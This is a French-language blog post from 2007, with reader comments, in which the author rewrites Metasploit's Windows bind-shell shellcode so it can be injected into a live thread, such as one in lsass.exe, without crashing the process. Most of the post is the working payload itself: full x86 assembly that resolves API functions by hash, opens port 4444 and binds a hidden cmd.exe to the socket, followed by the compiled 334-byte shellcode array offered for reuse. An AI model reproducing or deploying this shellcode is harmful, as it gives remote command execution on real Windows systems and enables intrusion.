Shellcoding and others
août 4th, 2007 at 02:52 admin
La rumeur faisant courir que je me suis fait enlevé par les Aliens est vraie. Depuis 1 mois, je suis, dans le cadre d’une opération appelé « Stage de découverte d’entreprise » retenu de force par mes ravisseurs. Ceux-ci m’ont forcé à développer une arme visant à conquérir le monde (et je peux vous dire que j’en suis proche mouhahaha !). Ce qui est marrant quand on fait du dev kernel Windows, c’est que personne ne vous comprend, exemple : « Alors là, tu vois je fais un IoAllocateMdl sur mes pages ensuite je les verrouille avec MmProbeAndLockPages puis je les map dans le user space d’un process avec un MmMapLockedPagesSpecifyCache avec le param AccessMode mit à un UserMode en oubliant pas avant de m’être attach à l’EPROCESS avec un KeStackAttachProcess, c’est plus classe qu’un NtMapViewOfSection tu trouves pas ? », à l’autre de me répondre « Heuu … Bon ca marche oui ou merde ? ». Bref tout ca pour dire je suis un peu tout seul dans mon petit monde mais que je m’éclate bien. Dernièrement un truc con m’est arrivé, j’avais besoin pour test une feature de mon tool, d’injecter un code dans un thread déjà existant. Sachant que je voulais lancer quelque chose d’utile, typiquement un bindshell ou un reverseshell, j’ai voulu use les shellcodes de metasploit avant de m’apercevoir que ces derniers s’en foutaient un peu du contexte d’exécution ou ils se trouvaient (ce qui est normal, vu qu’ils sont fait pour être use dans le cadre d’une exploitation d’un bug qui souvent finit par un crash du programme). En fait pour quitter les payloads de metasploit utilisent soit un ExitProcess, soit un ExitThread ou bien un UnhandledExceptionFilter et defonce completement la stack, bref si on tente d’injecter un de ces payload dans un thread « propre » par exemple dans le cadre d’un APC, on fait planter le process et c’est pas vraiment cool si c’est lsass.exe … dionc, la flemme de chercher sur google on disass le shellcode puis on le modifie from scrach ! hop hop hop tokaff !
J’ai choisit de modif le bindshell provenant de metasploit ouvrant le port 4444 et nous renvoyant un socket binder sur un cmd.exe
Le shellcode bien évidemment s’exécutant dans un environnement doit être capable de retrouver les fonctions dont il a besoin tout seul comme un grand, sans rien hardcoder. Pour cela, trick habituel, kernel32 est retrouvé dans le PEB, ensuite on une fonction qui va scanner d’EAT du module et hasher les noms des fonctions puis les comparer à ceux qu’on cherche. Le shellcode va donc effectuer les opérations suivantes :
- Retrouver l’ImageBase de Kerne32 dans le PEB_LDR_DATA du PEB.
- Charger la lib winsock avec un LoadLibrary(« ws2_32″);
- WSAStartup()
- WSASocket()
- bind()
- listen
- accept()
- closesocket() pour fermer le socket en écoute
- CreateProcess() sur cmd.exe
- WaitForSingleObject() pour attendre que le cmd.exe soit kill
- closesocket() pour close le socket récup par accept
La routine quoi, allay voilà la purée après disass et modification :
.586 .model flat,stdcall option casemap:none assume fs:nothing .code start: cld startlol: push 0FFFFFFEBh db 4Fh call near ptr startlol+1 ;00400220 FC CLD ;00400221 6A EB PUSH -15 ;00400223 4D DEC EBP ;00400224 E8 F9FFFFFF CALL bind.00400222 ;00400222 /EB 4D JMP SHORT bind.00400271 ;trick pour avoir sur le stack en saved eip le debut de la fct de hash avec un couple call/jmp ;function de recherche dans l'EAT avec hash des noms de fct, stdcall convention ; IN : Module Handle ; IN : hash ; OUT : function VA pushad mov ebp, [esp+24h] ; ebp=module handle, 1er arg mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp nextname: dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq hash: lodsb test al, al jz hashend ror edx, 0Dh add edx, eax jmp short hash hashend: cmp edx, [esp+28h] ; compare notre avec le hash passe en 2 eme arg jnz short nextname mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp add ebp, [ebx+ecx*4] mov [esp+1Ch], ebp ;ecrit l'addr dans le saved eax du pushad popad retn 8 ; end hash fct ;AAAAAAAAAAAAAAAAAA we jmp here AAAAAAAAAAAAAAAAAA xor ebx, ebx mov eax, fs:[ebx+30h] mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov edi, [eax+8] ;edi=kernel32 module pop esi ; esi = addr fct hash, pushe avec le call/jump d'avant push 0CE05D9ADh ;hash WaitForSingleObject push edi ;kernel32 module call esi push eax ; on push le WaitForSingleObject pour le recup plus loin push 16B3FE72h ;hash CreateProcess push edi;kernel32 module call esi push eax ;pour le CreateProcess plus loin ;ici on a sur la pile ;@WaitForSingleObject ;@CreateProcess ;0FFFFFFEBh ;saved eip push 0EC0E4E8Eh ;hash loalibrary push edi call esi push 3233h ;"32x00x00" ; push 5F327377h ; "ws2_" push esp call eax ;loadlibrary("ws2_32"); add esp, 08h mov edi, eax ;edi = ws2_32 module handle push 3BFCEDCBh ;hash WSAStartup push eax ;ws2_32 module handle call esi mov ebp, esp sub esp, 400 ;sizeof(WSADATA)=400d push esp push 2 call eax ; WSAStartup add esp, 400 push 0ADF509D9h ;hash WSASocket push edi call esi push ebx ; push ebx push ebx push ebx inc ebx push ebx ;1=SOCK_STREAM inc ebx push ebx ;2=AF_INET call eax ;WSASocket xchg ebp, eax ;ebp=socket push 0c7701aa4h;hash bind push edi call esi xor edx, edx push edx ; sockaddr_in.sin_zero push edx ; sockaddr_in.sin_zero push edx ; sockaddr_in.n_addr=INADDR_ANY push 5C110002h ;port 4444 (0x115C), family 2 AF_INET mov ecx, esp; ecx=addr struct sockaddr push 10h push ecx push ebp ;socket call eax;bind add esp, 10h push 0E92EADA4h;hash listen push edi call esi push 2 push ebp call eax ; listen push 498649E5h ;hash accept push edi call esi sub esp, 10h push esp ;Optional pointer to an integer that contains the length of addr. push esp ;Optional pointer to a buffer that receives the address of the connecting entity (sockaddr struct) push ebp call eax ;accept add esp, 10h xchg eax, ebx ;ebx=new socket recup de accept() push 79C679E7h ;hash closesocket push edi call esi mov [esp+8], eax; push closesocket push ebp call eax ;closesocket, ferme le socket d'ecoute pop esi ;recupere createprocess push ebx ;push le socket pour apres push " dmc" ;cmd mov ebp, esp push 50h pop ecx sub esp, ecx ; mov edi, esp push 44h ;STARTUPINFO.cb=44h mov edx, esp ;edx pointe sur notre struct STARTUPINFO xor eax, eax rep stosb ;remplit le champ dwFlags inc byte ptr [edx+2Dh] ; STARTF_USESHOWWINDOW inc byte ptr [edx+2Ch] ;STARTF_USESTDHANDLES ;If dwFlags specifies STARTF_USESHOWWINDOW, ;this member can be any of the SW_ constants defined in Winuser.h. Otherwise, this member is ignored. ;SW_HIDE=0 donc la fenetre ne sera pas visible xchg eax, ebx lea edi, [edx+38h] stosd ;STARTUPINFO.hStdInput=socket stosd ;STARTUPINFO.hStdOutput=socket stosd ;STARTUPINFO.hStdError=socket pop ebx push edi push edx push ecx push ecx push ecx push 1 ;inheritable handles push ecx push ecx push ebp push ecx call esi; CreateProcess add esp, 54h pop esi ;recup la socket pop ebx ;recup WaitForSingleObject push 0FFFFFFFFh push dword ptr [edi] call ebx ;WaitForSingleObject pop ebx; recup closesocket push esi call ebx retn end start
Pas la peine de troller sur l’optimisation, je ne suis pas un monstre en ASM et puis comme il s’agit d’une « copie de mémoire » je m’en fou des NULL bytes, c’est avant tout pour moi, libre à vous de le modifier
On a le payload suivant :
unsigned char shellcode[] ={ 0xFC, 0x6A, 0xEB, 0x4F, 0xE8, 0xF9, 0xFF, 0xFF, 0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x7C, 0x28, 0x78, 0x03, 0xFD, 0x8B, 0x4F, 0x18, 0x8B, 0x5F, 0x20, 0x03, 0xDD, 0x49, 0x8B, 0x34, 0x8B, 0x03, 0xF5, 0x33, 0xC0, 0x99, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0xEB, 0xF4, 0x3B, 0x54, 0x24, 0x28, 0x75, 0xE5, 0x8B, 0x5F, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5F, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0x8B, 0x89, 0x6C, 0x24, 0x1C, 0x61, 0xC2, 0x08, 0x00, 0x33, 0xDB, 0x64, 0x8B, 0x43, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x78, 0x08, 0x5E, 0x68, 0xAD, 0xD9, 0x05, 0xCE, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x72, 0xFE, 0xB3, 0x16, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x8E, 0x4E, 0x0E, 0xEC, 0x57, 0xFF, 0xD6, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x08, 0x8B, 0xF8, 0x68, 0xCB, 0xED, 0xFC, 0x3B, 0x50, 0xFF, 0xD6, 0x8B, 0xEC, 0x81, 0xEC, 0x90, 0x01, 0x00, 0x00, 0x54, 0x6A, 0x02, 0xFF, 0xD0, 0x81, 0xC4, 0x90, 0x01, 0x00, 0x00, 0x68, 0xD9, 0x09, 0xF5, 0xAD, 0x57, 0xFF, 0xD6, 0x53, 0x53, 0x53, 0x53, 0x43, 0x53, 0x43, 0x53, 0xFF, 0xD0, 0x95, 0x68, 0xA4, 0x1A, 0x70, 0xC7, 0x57, 0xFF, 0xD6, 0x33, 0xD2, 0x52, 0x52, 0x52, 0x68, 0x02, 0x00, 0x11, 0x5C, 0x8B, 0xCC, 0x6A, 0x10, 0x51, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x68, 0xA4, 0xAD, 0x2E, 0xE9, 0x57, 0xFF, 0xD6, 0x6A, 0x02, 0x55, 0xFF, 0xD0, 0x68, 0xE5, 0x49, 0x86, 0x49, 0x57, 0xFF, 0xD6, 0x83, 0xEC, 0x10, 0x54, 0x54, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x93, 0x68, 0xE7, 0x79, 0xC6, 0x79, 0x57, 0xFF, 0xD6, 0x89, 0x44, 0x24, 0x08, 0x55, 0xFF, 0xD0, 0x5E, 0x53, 0x68, 0x63, 0x6D, 0x64, 0x20, 0x8B, 0xEC, 0x6A, 0x50, 0x59, 0x2B, 0xE1, 0x8B, 0xFC, 0x6A, 0x44, 0x8B, 0xD4, 0x33, 0xC0, 0xF3, 0xAA, 0xFE, 0x42, 0x2D, 0xFE, 0x42, 0x2C, 0x93, 0x8D, 0x7A, 0x38, 0xAB, 0xAB, 0xAB, 0x5B, 0x57, 0x52, 0x51, 0x51, 0x51, 0x6A, 0x01, 0x51, 0x51, 0x55, 0x51, 0xFF, 0xD6, 0x83, 0xC4, 0x54, 0x5E, 0x5B, 0x6A, 0xFF, 0xFF, 0x37, 0xFF, 0xD3, 0x5B, 0x56, 0xFF, 0xD3, 0xC3};
Ce qui fait au total 334 Bytes pour avoir un shellcode « propre », par rapport aux 317 de l’original qui defoncait tout, je m’en sors pas mal
Sinon truc bête, après que vous ayez le shell, le thread est bloqué à cause de WaitForSingleObject, je corrigerais cela plus tard en demandant au shellcode de creer un new thread.
A par ça, Imminity nous a release son Immunity Debugger qui est un OllyDbg auquel ils ont ajoutés une interface python, c’est mignon mais ca casse pas des briques.
Rutkowska qui à release les sources de son BlueBill réécrit, qui si elles compilaient pourraient être sympa à regarder, faut quand même dire que ceux qui sont capable de capter ce genre de trucs ne courent pas les rues …. (Avis aux amateurs de prise de tête). J’vais quand même lire les slides de sa dernière conf IsGameOver()? En espérant comprendre la moitié.
Un jour peut-être qui sait …
Entry Filed under: Non classé
3 Comments
1. newsoft | août 6th, 2007 at 06:21
… un jour où tu trouveras un stage sur le sujet, avec des gens qui maitrisent Windows, par exemple …
2. Christophe | août 8th, 2007 at 10:25
stfu
3. Laxigue | août 9th, 2007 at 13:58
Non c’est moi qui dominerer le monde.
HACK THE PLANET !!!
Trackback this post